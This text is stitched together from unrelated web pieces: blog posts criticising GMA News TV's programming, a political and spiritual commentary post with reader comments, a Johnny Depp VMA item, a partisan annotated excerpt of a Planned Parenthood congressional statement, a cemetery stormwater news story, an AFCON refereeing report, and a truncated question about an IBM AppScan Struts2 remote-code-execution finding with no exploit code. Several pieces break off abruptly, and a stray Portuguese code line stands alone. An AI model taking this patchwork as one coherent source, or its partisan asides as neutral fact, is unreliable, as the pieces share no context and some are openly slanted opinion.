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GMA to Revive Dobol B sa News TV Block This April
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A new (or old) program block is set to return to GMA News TV.
It was announced that the 'Dobol B sa News TV' block will be revived on the network this coming April. The teaser below shows hosts Mike Enriquez (of 'Saksi sa Dobol B'), Arnold Clavio and Ali Sotto (of 'Dobol A sa Dobol B') talking about their impending return to the small screen via GMA News TV.
Initially launched on February 28, 2011, 'Dobol B sa News TV' is essentially a simulcast of early morning programs from Super Radyo DZBB 594. The first iteration of the block consists of the following programs:
Saksi sa Dobol B (hosted by Mike Enriquez)
Super Balita sa Umaga Nationwide (anchored by Mike Enriquez and Joel Reyes Zobel)
One on One with Igan (hosted by Arnold Clavio and Lala Roque)
The block ran from 6:00 a.m. to 9:00 a.m. on weekdays and it competed against DZMM TeleRadyo shows 'Kabayan', 'Radyo Patrol Balita Alas-Siyete' and 'Failon Ngayon sa DZMM'. However, the block had its flaws, the most notable of which are the ill-timed placing of taped news reports during commercial breaks and product advisories.
GMA News TV's Teleradyo-like experiment lasted until September 7, 2012, when it was cancelled due to low ratings. After that, with the exception of a short-lived revival of 'Kape at Balita', News TV's 6:00-9:00 a.m. slot was given to reruns of GMA Public Affairs shows, classic action movies, Koreanovelas, TV shopping blocks, and even the teleserye 'Amaya'.
The revival of 'Dobol B sa News TV' should give viewers another reason to believe in News TV. While the network's quality of programming is still questionable, their recent live coverage of high-profile Senate and House hearings is a sign that the channel is improving and that a return to form is imminent.
Still, even with the return of DZBB programs to News TV, how long can this latest experiment last? One can only hope that the simulcast will be the first step towards News TV's true transformation into a legitimate news channel without any of the extracurricular activities present in them.
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GMA News TV on a Rebound with Increased Live Coverage
October 11, 2016 ralphierceABS-CBN News, ABS-CBN News and Current Affairs, ABS-CBN News Channel, Armie Jarin-Bennett, Benigno Aquino III, CNN Philippines, EJK hearings, GMA News, GMA News and Public Affairs, GMA News TV, GMA News TV Asianovelas, GMA News TV controversies, GMA News TV criticisms, GMA News TV home shopping blocks, GMA News TV issues, GMA News TV Koreanovelas, GMA News TV live coverage, GMA News TV live events, GMA News TV movies, GMA News TV problems, GMA News TV reruns, House hearings on the New Bilibid Prisons drug trade, House of Representatives, House of Representatives hearings, House of Representatives Philippines, Luchi-Cruz Valdes, NBP drug trade hearings, Nessa Valdellon, News5, Noynoy Aquino, People's Television Network, Pope Francis, Pope Francis visit to the Philippines, Pope Francis visit to the Philippines 2015, President Aquino's State of the Nation Address, President Benigno Aquino III, President Rodrigo Duterte, PTV-4, Rodrigo Duterte, Senate hearings, Senate hearings on extrajudicial killings, Senate hearings on extrajudicial killings 2016, Senate of the Philippines, State of the Nation Address Philippines 14 Comments
Yesterday's final House hearing on the Bilibid drug trade was just one of several recent events that GMA News TV was able to air live, a surprise show of commitment to the oft-criticized network. (Screenshot courtesy of Dailymotion and GMA News TV)
The most highly criticized news network in the country is gaining some relevance of late.
GMA News TV saw its stock rise in recent months, as it covered the Senate hearings on extrajudicial killings and the House hearings on the New Bilibid Prisons drug trade. Although their coverage is not as extensive as that of, for example PTV-4 or ABS-CBN News Channel, it was good to see the network finally step up the right way.
In addition to the events at the House of Representatives and the Senate, GMA News TV also committed themselves to air every live address of President Rodrigo Duterte wherever he goes. Of course, as the president is always a priority for live coverage, there have been times that the Senate and House hearings were forced to give way for Duterte.
Such renewed commitment to live coverage was in sharp contrast to the News TV shown during the tenure of President Benigno Aquino III. During his presidency, GMA News TV seemed to be ignorant of his live appearances on a majority of occasions, and this earned the ire of many viewers who wanted a lot more from the said network.
Most House and Senate hearings during Aquino's tenure were also ignored by News TV. And to make matters worse, the recent visit of Pope Francis and President Aquino's State of the Nation Addresses were also shunned by News TV as if they were not important events.
That said, it was a surprise to see GMA News TV become all the more committed to show live coverage during the presidency of Rodrigo Duterte. With recent events becoming more important than ever, News TV has no choice but to follow every movement as it happens, and this should regain the trust that they lost in the past few years.
Despite this increased devotion to live coverage, GMA News TV still has a lot of holes to address. What will they do with the Koreanovelas, movies, reruns of old news programs and home shopping blocks that have infiltrated their network?
These problems should be the responsibility of Nessa Valdellon, the channel's head honcho. Let's just hope that she will follow the footsteps of ABS-CBN News' Ging Reyes and CNN Philippines' Armie Jarin-Bennett, and not of News5's Luchi Cruz-Valdes, in restoring some sense to GMA News TV.
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'Amaya' returned to the airwaves, this time on GMA News TV last Monday. (Photo credit: GMA Network)
It doesn't get any worse for GMA News TV.
After defying the logic of a news channel with classic movies and reruns from their previous incarnation QTV, News TV took it one step further by re-airing an old teleserye from their parent channel. And it was led by no less than the network's so-called 'Queen of Primetime'.
'Amaya', the 2011 'epicserye', started re-airing on Channel 11 last Monday. The said series, which took place in 16th century Visayas, starred Marian Rivera, with supporting roles from Rochelle Pangilinan, Glaiza de Castro, Sid Lucero, Mikael Daez, Aljur Abrenica, Diana Zubiri, Gardo Versoza, Raymond Bagatsing, Lani Mercado, Gina Alajar and Ayen Munji-Laurel.
The series originally aired on GMA from May 30, 2011 to January 13, 2012. 'Amaya"s run coincided with the gradual decline in the network's performance during the current decade, as ABS-CBN's counterparts began to dominate the ratings.
Nevertheless, 'Amaya' received citations from the National Historical Commission of the Philippines and the Department of Education for its culturally significant story.
But that is not the real story behind News TV's decision to re-air 'Amaya'. Having exhausted all of their programming material to air, and having lacked the drive and the resources to produce more news programs, News TV resorted to another desperate manuever: re-airing older teleseryes from the parent Channel 7.
News TV is no stranger to airing historical and socially-significant dramas. After all, they aired GMA News-produced mini-series such as 'Titser', 'Katipunan' and 'Bayan Ko' to critical success, and they even re-aired the equally costly but less popular drama 'Ilustrado' at one point.
But 'Amaya' is a different animal. After all, it was a 'true' teleserye that GMA produced, and not a mere mini-series like the aforementioned 'Ilustrado'.
And while 'Amaya' shares a similar historical significance as the other dramas, the fact that it had over 150 episodes to boot makes it an exhausting series to watch and remember. That said, re-airing 'Amaya' is a waste of time and space for GMA News TV.
So what's next for the suddenly teleserye-friendly News TV? Will they re-air a Koreanovela remake like 'Endless Love', a fantaserye like 'Encantadia', or a more mature drama like 'My Husband's Lover'? We'll never know, but one thing's for sure: the worst is yet to come for GMA's troubled little sister.
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'Unreliable' News TV Strikes Again
January 20, 2015 ralphierceABS-CBN Sports + Action, AksyonTV, cable TV, cable TV in the Philippines, free TV, free TV in the Philippines, GMA, GMA 7, GMA Channel 7, GMA Network, GMA News, GMA News and Public Affairs, GMA News reports, GMA News TV, GMA News TV 11, GMA News TV Channel 11, GMA News TV movies, GMA News TV programming, GMA News TV reports, GMA News TV reruns, GMA News TV updates, GMA News updates, Pope Francis, Pope Francis in Manila, Pope Francis in the Philippines, VHF band 108 Comments
GMA's coverage of Pope Francis in the Philippines only utilized its main station Channel 7, and little of its sister station GMA News TV Channel 11. (Title card courtesy of GMA Network)
Once again, GMA News TV is in the hot seat.
The recent visit of Pope Francis in the Philippines was one of the most highly anticipated in recent history, and a majority of free TV and cable stations in the country were there to extensively cover the event. And yet here is News TV, who, other than a few sporadic updates on the Pope's visit, was a virtual no-show in the event of such high magnitude.
What they aired instead were their regular programs, that of reruns and old movies. This was in contrast to rival free TV sister stations AksyonTV and ABS-CBN Sports + Action, who managed to cover the event in full even though they were simulcast from their parent networks.
The lack of involvement on the part of News TV is inexcusable. Even though News TV and its parent GMA Network are four channels apart on the VHF band, there should have been a way to give News TV a heavier role, even if it means simulcasting from the parent network.
News TV's simulcast of Channel 7's coverage would have benefited viewers, especially those with signal problems on the parent network. It also would have helped enhance News TV's own reputation, which has been ruined by their radical programming decisions.
Instead, the folks at GMA News decided to use the main Channel 7 in their coverage, leaving News TV useless for the duration of the coverage except for a few minutes of news updates.
So why claim the station as 'News TV' when they did not even become involved in this event? And why are they still airing movies and reruns from a previous incarnation? This doesn't make sense at all.
In the end, News TV's inability to make their presence felt in a big event like Pope Francis' visit will continue to haunt them. Sooner or later, GMA executives will need to make a decision regarding News TV, otherwise it will remain in limbo for the foreseeable future.


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O código que estou fazendo no momento está assim:
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Disquieting things happened this week, things that make you go "hmmmm!" Appropriate, I suppose, for a tense and chaotic period ending with a solar eclipse, super-moon and the equinox, all stacked on one another. Sounds like celestial fireworks to me, punctuating a sea change of some sort, although we may not have more than a glimpse of it.
By Judith Gayle | Political Waves
"All war is a symptom of man's failure as a thinking animal."
— John Steinbeck
Of the political arenas bubbling with possibility, some are vast. In Israel, Benjamin Netanyahu and his Lukid party came so close to losing the race for re-election that the incumbent Prime Minister found it necessary to show too much of his hand, particularly the race card he'd stashed up his sleeve. Charging Arab-Israelis with a threatening blitz of Obama-inspired left-wing partisanship, he called upon the right-wing — particularly its hard-liners and settlers — to get out the vote, sweetening the pot by pledging to refuse a two-state solution. When the cards got counted, Netanyahu had won the game.
Now comfortably re-elected, he's tried to walk back that statement, but the bad blood between the administration and Bibi has already stained the relationship, and will continue to strain the bond between Americans and Israel. Up to this point, the public had accepted that the Israelis were making an attempt to come to some international resolution of the "Palestinian problem," so while questioning appropriate action and the level of brutality aimed at democratically elected, if hostile Hamas, they have given Israelis a lot of leeway in addressing their security issues.
With a long history of cutting Israel slack, the public has given them a pass on aggressive behavior in the territories (as explained last week, taken not in defense against attack, but in occupation as blatant as those of the Western democracies Israel chooses to emulate) and shielded them from United Nations censure. Now, with Bibi having come clean about his intention regarding the peace process itself, he may find he has fewer allies than he thinks. His policies of apartheid have rankled in recent years, but much was overlooked in Israel's lethargic pretense of finding a peaceful solution. No more.
As quoted in a McClatchy piece: "The average American should be concerned not just because our ally's leader came all the way to Congress to give the president the finger," said Khaled Elgindy, former adviser to Palestinian peace negotiators and a fellow at the Brookings Institution, "but they're thumbing their nose at the international consensus on how to resolve this conflict."
Skittish as a March hare, FOX News made much ado of Obama's not calling Bibi to congratulate him, although Secretary Kerry already had. Obama did call late this week, with news that the U.S. will be reassessing its Israeli-Palestinian peace process. The international desire for a workable two-state solution will not be surrendered easily, and perhaps Netanyahu's lip service won't be tolerated either.
Even if America finds some way forward with Bibi, the UN may be playing a larger role anyway, given that Europe appears to be similarly miffed with Israel and the settlers' sanctioned push into contested areas. It's apparent to all players that an already conservative government has just shifted sharply to the right. For many of us, such news comes with the increased throb of war drums not far off in the distance. Listen to what retired legislator, fire-breather (and secular Jew) Barney Frank has to say about this situation. He's concerned that Bibi's stance will contribute to anti-semitism, on the rise in Europe.
Meanwhile, as the world waits to see if Obama can corral congress-critters into anything other than a Mexican stand-off, the vote on Iran sanctions has been put off until April, giving Kerry more time to dicker with a supremely cautious Iran. No one is actually expecting a deal, with Jerusalem apparently as tightly polarized as the U.S. and many of the others watching. With extraordinary and largely unnoted hypocrisy, while Israel's nuclear weapons cannot (by decades-old presidential agreement) be spoken of in less than hazy euphemism, Iran's possible acquisition of same must be bellowed into the night as world-ending and demon-inspired, something to scare the children.
There are other things I'd like to mention today, like Diane Feinstein's going after the quiet insertion of an anti-choice clause in John Cornyn's human trafficking bill, telling him that (all but one) Dem women would be opposing it — again and again — because "This isn't your reproductive rights. And by 'your,' I mean men." I'm not always in DiFi's camp, but she's got my respect on this issue. The bill has been voted down several times now, Dems holding the line against 60 votes.
Meanwhile, Mitch McConnell is stalling the confirmation vote of Attorney General candidate Loretta Lynch until the trafficking bill is passed. This activity is called 'holding hostage' in some camps, although a Republican senator from Illinois said this week that "refusal to pass an anti-human trafficking bill with anti-abortion language was akin to refusing to abolish slavery in the 19th century." In the eye of the beholder, I guess.
Wait! Was that an admission that slavery wasn't only a Bible-approved, kindly conceived and benign financial arrangement? Oh hell, probably just a bad metaphor. I find it difficult to give a pass to people who are so tone deaf to these issues that they approve an anti-abortion rider that would require victims of sex trafficking to 'prove rape' in order to acquire abortion funding.
As for highly respected Loretta Lynch, she's waited more than 4 months now, with the Pubs delaying the process at every turn, even though they have truly heinous things to say about retiring Eric Holder. (DO open and read this stunningly embarrassing statement by Missouri's Lieutenant Governor, to get a sense of just how dark this mid-section of America presents itself. This statement reflects a cynical manipulation of bias, and if truly his own opinion, a remarkable lack of intelligence.) Even Rudy Giuliani has called for Lynch's confirmation, identifying her as a stellar candidate.
This week the Republicans offered up their own budget, capable, they say, of paying off the debt within ten years, something a leading Dem has called 'budget quackery' and even one of their own calls 'hooey.' It would be good to discuss all that's at stake in this dreadful echo of Paul Ryan's past offering, but since it IS so preposterous — austerity for the poor, good (make that great) times for the one percent — you won't have trouble finding detailed rants wherever your reading pleasure takes you.
I'd like to touch down briefly on the Clown Car Project — a run-down of those thinking of running for president — because it's simply bizarre, and makes even our surreal political process of moment less freaky. Like Donald Trump (reported in a snip by Huffpost Hill under the title, STFU) launching an exploratory committee because, "I am the only one who can make America truly great again!" Or our old friend Rick Santorum, who has never actually STOPPED running in the minds of his followers. Open this link to get a sense of those minds, making things Boehner and McConnell do and say seem only mildly irrational. Yes, they're out there, and if Rick decides to play, they'll come along. (By the way, you'll want to visit the Barney Frank link above, if you haven't already, to hear what he thinks of a Warren presidential candidate as opposed to the inevitability of Hil.)
I read a righty blog this week and learned that Ted Cruz scaring a three-year old by telling her the world is on fire was peanuts compared to Libertards everywhere scaring Republican children with mythological climate change. And seriously, folks, when Glenn Beck warns that you should run from the Republican party because they're not good people (read that too left of center, complicit with establishment government and mean to Ted Cruz) you have to accept the fact that the wackadoodles have permanently inhabited an alternate reality in which many of us are unwelcome. Beck has the 4th largest radio audience in the U.S., remember — some 7 million listeners — just in case you were laughing too loudly.
There are other tweaked realities out there as well, inviting us to get swallowed up like Alice, tumbling down the rabbit hole of fear and dread. I read all the time about how there's never been anyone as brutal and callous as ISIS — as dangerous and inhumane as this radical Islamic collection of gangsters — and wonder if anyone remembers the Holocaust. The Roman Empire. Wonder if they've read the travails of Shin Dong-hyuk, who escaped from the North Korean gulags to tell us that MUCH worse than ISIS horrors are every-day events in L'il Kim's empire.
I wonder if the readers of such frightening articles about the Islamic radicals know they're being played, not just by the political parties that want to sway their opinion but by ISIS itself, which can only earn street cred as it makes a name for itself by intimidating its enemies.
So here we are, the 2012 energies newly behind, just beginning to dig through the rubble, already exhausted from the ride. One of the channels I appreciate, Patti Cota-Robles of Tucson, has been preparing for these very days and these kinds of challenges for over twenty years. She says this about these fractured times:
We will not experience another March Equinox with a Solar Eclipse until 2053. That does not even include how long it would take for a Super New Moon to be figured into this alignment.
The power and might of this unprecedented influx of Light will be greatly intensified during the Super Full Moon Lunar Eclipse on Passover which is April 4th, and the celebration of Easter which will be on April 5th. From that point on, the Light on Earth will increase exponentially through the remainder of 2015, thus paving the way for Humanity and ALL Life on Earth to be Initiated into a Higher Order of Being.
Under normal circumstances the synchronicity of the Equinox, a Solar Eclipse, and a Super New Moon occurring at the same time would be very powerful, but there is nothing normal about what is happening on Earth at this time. We are truly in uncharted waters.
Due to the monumental shifts of energy, vibration, and consciousness that have occurred over the past few years, Humanity en masse is now able to withstand higher frequencies of God's Light than ever before. This is allowing the I AM Presence of every man, woman, and child on Earth to actually raise the frequency of vibration within our Earthly bodies the maximum we can withstand in every 24 hour period. This facet of our Ascension process is accelerating the purging taking place within each of us, so that everything that conflicts with the Harmony and Balance of God is being pushed to the surface to be transmuted back into Light. From outer appearances this process makes it look like the World has gone amuck. But that is an illusion.
This purging process is necessary in order for us to tangibly manifest the patterns of perfection for the New Earth.
Take or leave the concept of a New Earth — consider, perhaps, a renewed one — the notion that we are at that point in the purging where everything that seems impossible to deal with is visceral, challenging our good humor, overwhelming our senses and inviting surrender. But surrender to what, that's the question.
Surely not to defeat. Not to continued warring and escalation of fear and anger. Not to unloving policies and for-profit solutions to every problem, especially when half of this nation's children are food insecure. That's THIS nation we're talking about, not to mention all the rest of the world's youngsters who are destined to die with swollen bellies due to famine, war and the fear that there 'isn't enough.'
If we are to take a new world into a new paradigm of understanding, if we are to re-create ourselves and our culture in a loving, tolerant manner, then we'd better begin to invest in those things that will bring it about. Yes, the personal is political, but we must start even more simply — with our thoughts, with our breath, with our decisions.
Can't we discuss what isn't working without insisting that those who have created it thus are 'bad?' Can't we name those things that are wrong, even wrong-headed, without being afraid that we're perpetuating negativity? Can't we defy death by loving life? Can't we?
Let's begin by being mindful of the powerful vibrational use of our "I AM" declarations. We can begin by bringing the dynamics of awareness to everything we see around us: food, art, environment, conversation, politics, finance. We can begin by using our power of appreciation and gratitude to modify the energy that lean times and fear of lack provide us. We can start taking the baby steps that keep us focused on positive change, that begin to vibrate the whole of creation in a wash of new energy and determination.
Patti CR recommends using the powerful energy of the Violet Flame when thinking of those things so in need of transmutation, balance and renewal. She tells us that things we consider political — like justice and government and industry and economy — are all subject to the same transformative exercise as are the internal experiences of increased compassion, mercy and love.
To leave behind what is old, we must allow it expression, to be recognized and discarded.
Sounds like the long passage we've just made, doesn't it? Here on the weekend when spring renews us, the new moon compels us and the eclipse initiates a new cycle of energy, let's begin to reshape the world with love, right here — and right now.
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Lizzy March 21, 2015 at 3:34 am
"I read all the time about how there's never been anyone as brutal and callous as ISIS — as dangerous and inhumane as this radical Islamic collection of gangsters — and wonder if anyone remembers the Holocaust. The Roman Empire. Wonder if they've read the travails of Shin Dong-hyuk, who escaped from the North Korean gulags to tell us that MUCH worse than ISIS horrors are every-day events in L'il Kim's empire." Well said, Jude. Have been thinking about this a lot in these days, and keep thinking about a book by Bruno Bettelheim called the Informed heart. It talks about his experiences in Buchenwald – and the book looks at how the Nazis (but any totalitarian regime/dictator) were able to brutally murder and torture their victims. He talks about the process of dehumanisation in the name of "a greater cause" – where their victims are no longer human, and thus can be eliminated without compunction . This explains how ISIS members are totally indifferent to the courage and moral values of some of their victims, on the contrary, it serves their cause even more effectively. I really recommend Bettelheim's book. A good article here from some months back; http://www.bbc.com/news/world-middle-east-29123528
"let's begin to reshape the world with love, right here — and right now." Golden words Jude. Amen
Vincent March 21, 2015 at 10:13 am
https://www.facebook.com/video.php?v=465691690262528&fref=nf
gag order from the governor in Florida on the words "climate change"
aWord March 21, 2015 at 1:09 pm
Well, it certainly all fits in with my personal, literal and figurative journey; that what I thought would be a permanent stop was only a resting place and time for greater "purging" as it were. Much magic also at this rest-stop, must not forget that. Staying open to what IS is the "challenge", not shutting it out because I feel alone or cold or insecure. All this change IS "security" if in fact "security" be love.
Well then, that's for the political updates, Jude. Some cats out of the bag and others still just boxing around inside the dark.
"thanks" not "that's" — insta-spell-check still trying to think for me.
Len Wallick March 21, 2015 at 6:48 pm
Thank you, Jude. The idea of allowing so as to ease purging feels very natural (provided i'm reading your intent correctly). Same with the idea of starting "..with our thoughts, with our breath, with our decisions." Both ideas do serve to assuage a sense of powerlessness. It also occurs to me that Eric's emphasis (in his Thursday essay) on denial has a place here, although i did not see you use that word today. Those you cite as being cynically manipulative and/or just out of touch seem to be thriving right now precisely because they embody blatant denial and offer denial as an easy way out of confronting both personal responsibility and political problems. Of course, i could be barking up the wrong tree, but if i am, i'm willing to allow reasonable discourse to purge an unreasonable idea and release attachment as called for.
Judith Gayle Post author March 22, 2015 at 2:08 am
Thanks, Lizzy for the read. Good article, and illustrates a critical point: ISIS is Sunni. Right at the moment, Iran (Shia) has taken point on the battles in Iraq, their warriors trained and more willing than the Iraqi's. Saddam's Bathist's WERE the Iraqi warriors, and when they were disbanded they moved on, adding their skills to what has become the Syrian theatre, where ISIS zealotry was brewed. This is another chapter in their religious civil war. ISIS is dangerous to this nation only in the broadest of terms. There won't be a solution to ISIS until Muslims deal with their internal demons themselves.
And for sure, this push for purity combined with absolutism creates psychosis — it's a kind of suicide; anti-life. We see the same in our Fundy's. It doesn't last because the rest of the (host) world eventually rids itself of such dysfunction — that will happen for ISIS in due time. In the end they turn on one another, like Hitler did with his troops and his people. In North Korea, a seriously 'evil' (vile) government insists the whole population be kept from accessing the real world, lest they figure it out; that tells the tale.
And Vincent, what a link! Jaw-dropping, isn't it? There's Eric's denial, writ large. Hard to believe the residents of Florida put up with that level of ridiculous — and we're seeing more and more of this kind of behavior, like states passing laws that the Fed can't do this or that, when it's illegal to tell the Fed what it can do. It's like they're PICKING that fight against the Executive branch and the Dems, and in fact, they are — I'm seeing all the signs that they're way out of their league, now, with all that hubris they're famous for. It will be their death knell, eventually, but it's gonna be a heckuva ride!
Hope you're feeling better, aWord — purge is an on-going process, and politics, like everything else, is a worthy mirror to show us what we bring to the mix. Me, I adopted an affirmation years ago that served: bloom where you're planted. Keeps one in the moment, and stiffens the spine. Until you're transplanted, then — which will happen, as you have already put that into motion — trust your creativity, find the small joys of the day and make lemonade with all those lemons!
Gosh, Len — well, in terms of denial, there is so much of it on every level, a big portion of this purge is recognizing it, waking to the ways we avoid dealing with our pain and how we retreat into group-consciousness in order to feel 'safe.' I think we're doing pretty well with that, don't you? Just being aware is the biggest part of this project.
So many of us have gone through various kinds of trials these last years, and the experience has truly been a 'wake up.' The spiritual thought on this is that suffering is clarifying; it is. In that regard, the Serenity Prayer seems simplistic but it's really very much a 'tell it like it is' statement:
God, grant me the serenity to accept the things I cannot change,
The courage to change the things I can,
And the wisdom to know the difference.
That sense of helplessness we feel is often because we don't think we can change things. The truth is, we change them as WE change. And there are techniques that can help. For instance, emotionally, if there is chaos all around us, there is also chaos within. When our mind is in turmoil and we can't cut the internal chatter, it often helps to clean up our surroundings, simplify our belongings, clear our space — when we can look around us and see order, it brings our mind into alignment. Cart before the horse, we can then choose peace instead of chaos, and our immediate environment already reflects that back to us. It "breaks the pattern," if even for just a bit. And each baby step creates forward motion.
And as for those who seem to be thriving while living in this altered reality, we can't know that brings them the true gifts of Spirit — love, grace, compassion, joy, wisdom, happiness. Their lives don't seem to reflect much of that, they seem mostly on automatic pilot, pushing forward without much thought to what serves anyone but them, and that creates a serious poverty of spirit.
But most importantly, we DON'T KNOW WHY THEY CAME! It's not possible to know what another's life contract is. Perhaps they're here to work off major karma, to grind themselves into powder by being manipulated, or to learn to get past fear. For some brave Souls, perhaps they've come to provide a stumbling block for others, giving them that critical mirror and provoking their growth. I've always thought that Dubya was the guru: he taught us plenty, mostly about what we didn't want, but still, the difference between what we have collectively discovered and realized about our nation in the last fifteen year is astounding. That happened because of a series of almost child-like fuck ups, Dubya-style. We are (despite the deniers) considerably more realistic about ourselves now then we've ever been!
A few last thoughts: in the Patti Cota-Robles link, she continues with her dialogue, remarking that we don't even have to know that we're participating in this energy shift to have experience of it. That's a leap of faith and I've seen examples of how powerful that can be. A Course in Miracles, for instance, tells us that we don't have to understand the (years-worth of) affirmations that are part of the study, because it is alchemical in nature; changing the interior without necessarily requiring a full intellectual grasp of the topic in the outer. i can testify personally how powerful that is.
CIM also makes it very clear that we are all one, like cells in the body of God. connected to one another. If we're open to receive it, we can have an occasional experience of that "end of separation" and then there simply isn't an us/them — there's only we. We can assess the actions all around us without putting others outside of ourselves, they're simply part of what we're all experiencing and being sensitized toward. That is why the Hundredth Monkey theory is so familiar and comfortable to many of us; we already know how the connection works.
This is a journey already begun, and for those who walk that path, already assured. If there's comfort to be found in a world with so few comfort zones, there it is there. Bless you, kiddo, I hope that illuminates some of what you asked. If not, I'm always around.
Thanks for your really interesting response to my comment, Jude. "It doesn't last because the rest of the (host) world eventually rids itself of such dysfunction — that will happen for ISIS in due time. " Yes – this is what I feel, too. And you're right, "There won't be a solution to ISIS until Muslims deal with their internal demons themselves. " – except that, as we know, much of the current mess in the Middle East can be attributed to the West's involvement in that part of the world, both past and present.
Len Wallick March 22, 2015 at 12:28 pm
Thank you for your response, Jude. Especially because i struggled to phrase my question. Yes, well put on your part.
Carolynkc March 23, 2015 at 7:40 pm
Lizzy, the ignored atrocities leave me speechless.
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Johnny Depp's Bizarre VMAs Appearance Draws Mixed Reactions
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The rumors were true! Johnny Depp made a brief appearance at the 2022 MTV Video Music Awards. And it was... weird.
The Pirates of the Caribbean star floated above the stage at Prudential Center in New Jersey Sunday (Aug. 28) in a blink-and-you'll-miss-it cameo. In fact, some failed to even recognize him. His face was featured on a video screen on a life-size Moon Person — the show's instantly recognizable trophy figure.
Check out footage from his virtual appearance below:
His brief, bizarre cameo marked one of his most public appearances since the conclusion of his very public legal battle with his estranged former wife Amber Heard. During the trial, both were found liable for defamation.
Depp posted about his appearance during the awards show. "Guess who," he wrote in an Instagram caption alongside brief footage of the floating Moon Person.
Viewers took to social media to react to Depp's appearance at the awards show.
Some took issue with the show for including him in the wake of his ex-wife's abuse allegations.
"Honestly f--k the VMAs for including Johnny Depp," one incensed viewer wrote. "The entire crowd of Amber's industry peers are cheering for her abuser. it makes me sick. the industry hasn't changed at all. not surprised, but still so disappointed."
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"'Johnny Depp's big comeback' and it made no noise. Not a single scream, not a single clap, NOTHING!" another tweeted.
Others were much more excited to see him on the stage again.
"Johnny Depp said if there's going to be a joke, I'm going to make it and I love that for him," one person enthused. Some even expressed wishes that he had performed instead of just floating across the stage.
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Last week, TMZ reported that Depp was in talks to make his small screen comeback at the awards show. While the actor is renowned for his work on screen, he has also picked up five VMAs over the years for his musical work.
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Planned Parenthood Aborts the Video Messenger
The Center for Medical Progress has released several undercover videos exposing Planned Parenthood's trafficking in baby body parts. Today Planned Parenthood Foundation president Cecile Richards will testify before Congress in a bid to retain Planned Parenthood's federal funding. Naturally she will do so by attempting to diminish what The Center for Medical Progress, and David Daleiden specifically, has exposed.
Excerpts from (prepared) "Center for Medical Progress Statement of Cecile Richards President, Planned Parenthood Federation of America Before the House Committee on Oversight and Government Reform September 29, 2015"
[S]ince July, Planned Parenthood has been the focus of extensive discussion and scrutiny for our health centers' limited involvement in fetal tissue research as a result of a deliberate and systematic effort by David Daleiden and other opponents of safe (OBS– to the baby too?) and legal abortion to infiltrate our health centers, try to entrap our staff into potentially illegal conduct, and create discredited (OBS– discredited by whom?), doctored videos designed to smear Planned Parenthood.
In my letter to Congress on August 27, I also shared information about the outrageous activities (OBS– he didn't kill babies!!) of Mr. Daleiden and his associates. As I explained, they sought to infiltrate Planned Parenthood affiliates and tried unsuccessfully to entrap Planned Parenthood physicians and staff for nearly three years. It is clear they acted fraudulently and unethically- and perhaps illegally. Yet it is Planned Parenthood, not Mr. Daleiden, that is currently subject to four separate congressional investigations. (OBS– Irony alert- baby killer says life is not fair!)
But in our case, four congressional committees have launched investigations into our conduct- and none are investigating the person behind this fraud- and we are also facing votes to defund our entire organization even though 99 percent of our health centers do not participate in tissue donations.
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Green-Wood Cemetery upgrades infrastructure with stormwater resiliency
Stormwater Resiliency Project emboldens the cemetery as a strategic anti-flood tool that helps dissipate water brought by storms
October 13, 2022 Brooklyn Eagle Staff
Green-Wood Cemetery. Eagle file photo by Lore Croghan
GREENWOOD HEIGHTS — On Thursday, Brooklyn's Green-Wood Cemetery and the New York State Environmental Facilities Corporation announced that the construction of large-scale improvements to the cemetery's stormwater and runoff infrastructure will be completed by 2024.
The project is the first cooperative product of the state Department of Environmental Protection's NYC Partners program, designed to engage private property owners in the five boroughs to adopt green property maintenance practices and stormwater management. Green-Wood will receive a $600,000 grant from DEP.
"The dramatic effects of climate change have reached all corners of the globe, and Brooklyn is no exception," Richard Moylan, President at The Green-Wood Cemetery said.
"Weather events like Superstorm Sandy, Hurricane Isaias, and other major rainfalls are happening on a regular basis, and urban institutions will all have to do their part to mitigate their consequences. This initiative affirms Green-Wood's commitment to the urban environment and combating climate change, and its impact on our city's waterways and the water quality of its surrounding neighborhoods will be substantial. As one of the largest bioretention projects in New York City, this project will also serve as an example for public and private urban institutions across our country."
The 478-acre park will be fitted with a variety of 'stormwater practices' such as a pond with smart sensors and bioretention basins, subsurface storage and a new rainwater harvesting system will manage an estimated 51 million gallons of runoff annually. The system will allow the cemetery to control and decrease the amount of water for use of irrigation in the various scenic gardens, as well as reduce local flooding and pollution discharge into New York harbor.
"We have already built more than 11,000 green infrastructure installations, mostly on public property, across the city to soak up stormwater, but in order to make New York City resilient to the severity of storms that climate change is creating, we require better management of the stormwater that falls on private property," Department of Environmental Protection Commissioner Rohit T. Aggarwala said.
"This is why we're so pleased to join forces with New York State, The Nature Conservancy and The Green-Wood Cemetery on this innovative green infrastructure project on private property that will manage enough water to fill more than 77 Olympic-sized swimming pools!"
At first, Green-Wood partnered with URBANSEA to secure state funding for the upgrades. The Nature Conservancy also joined to provide technical consulting and coordination of funding. Brightstorm, an initiative of The Nature Conservancy, will implement the project on behalf of Green-Wood. The procurement process for designs of the project will commence next month.
"More than 90 percent of all urban and suburban lands in the U.S. are privately held, making partnerships with private landowners—like Green-Wood—critical to meeting community water management goals," said Craig Holland, Senior Director of Investments at The Nature Conservancy.
"The Nature Conservancy and Brightstorm are pleased to help facilitate public-private partnerships that are necessary to achieve success at scale."
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#AFCON2021: Tunisia's Coach Describes Referee's Action as Inexplicable | Read
By Buzi Brown
The coach of the Tunisian national team, Mondher Kebaier has described the decision of the center referee in the game between his country and Mali as inexplicable.
Mondher Kebaier
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The opening group game between both teams had a lot of drama in it but the highlight of the game was when the Zambian referee decided to end the game with 25 seconds to go.
Kebaier explained that his players were already having their bath when they were recalled to play the final three minutes of the game. This has been reported as the possible reason why the North Africans did not come out to play the reminder of the game.
Very tough to manage non-sporting affairs. At the 85th minute he blows the final whistle. Again at the 89th minute. There are supposed to be 7-8 minutes of additional time. His decision is inexplicable.
He also spoke about the players decision not to come out after they were asked to come and complete the game.
The players were taking ice baths for 35 minutes before they were called back out again. I have been coaching for a long time never seen anything like it. Even the 4th referee was preparing to lift the board and then the whistle was blown
The game ended 1-0 in favour of the Malians but it is not yet decided if the Confederation of African Football ( CAF ) will accept the result or ask that the ramaining minutes be played.
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Q: IBM AppScan Struts2 issue reported on a JSF 2.2 & Primefaces - JBOSS 7.2 EAP We recently received result from IBM AppScan DAST and some of the result didn't make sense.
The first 2 High issue shows the application as being Struts2 which is incorrect since it a JSF 2.2 , Primefaces 7.0.9 running on JBOSS EASP 7.2 (JSF version 2.3). I don't even seen Struts in JBOSS modules / jars.
1.High -- Apache Struts2 Remote Code Execution
Risk(s): It is possible to run remote commands on the web server. This usually means complete compromise of the server and its
contents
